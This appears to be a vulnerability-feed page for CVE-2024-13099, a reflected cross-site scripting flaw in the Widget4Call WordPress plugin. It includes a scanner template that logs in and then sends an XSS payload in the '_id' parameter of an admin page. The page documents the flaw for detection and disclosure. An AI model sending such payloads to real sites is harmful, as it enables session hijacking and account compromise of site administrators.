CVE-2024-13099: Widget4Call WordPress - Cross-Site Scripting

2026-02-24 Widget4Call WordPress PoC Public

Description

Widget4Call WordPress plugin <= 1.0.7 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

PoC

id: CVE-2024-13099

info:
  name: Widget4Call WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Widget4Call WordPress plugin <= 1.0.7 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of Widget4Call plugin that addresses this issue.
  reference:
    - https://wpscan.com/vulnerability/a0cabf5c-7b01-4163-834b-a134db3a90b4/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-13099
    cwe-id: CWE-79
    epss-score: 0.00693
    epss-percentile: 0.51205
    cpe: cpe:2.3:a:apidaze:widget4call:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apidaze
    product: widget4call
  tags: cve,cve2024,wp-scan,wordpress,wp-plugin,apidaze,widget4call

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=w4c_devmode&_id=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`")
        condition: and
# digest: 490a00463044022040d3d0e1e8ce2185841e32063467d09b1447c54c5e247db1dddaf869db0898b702200c4fce01fee48454311fb9fc9f80ceadd8dd1c1865e206183e87b5612a83339e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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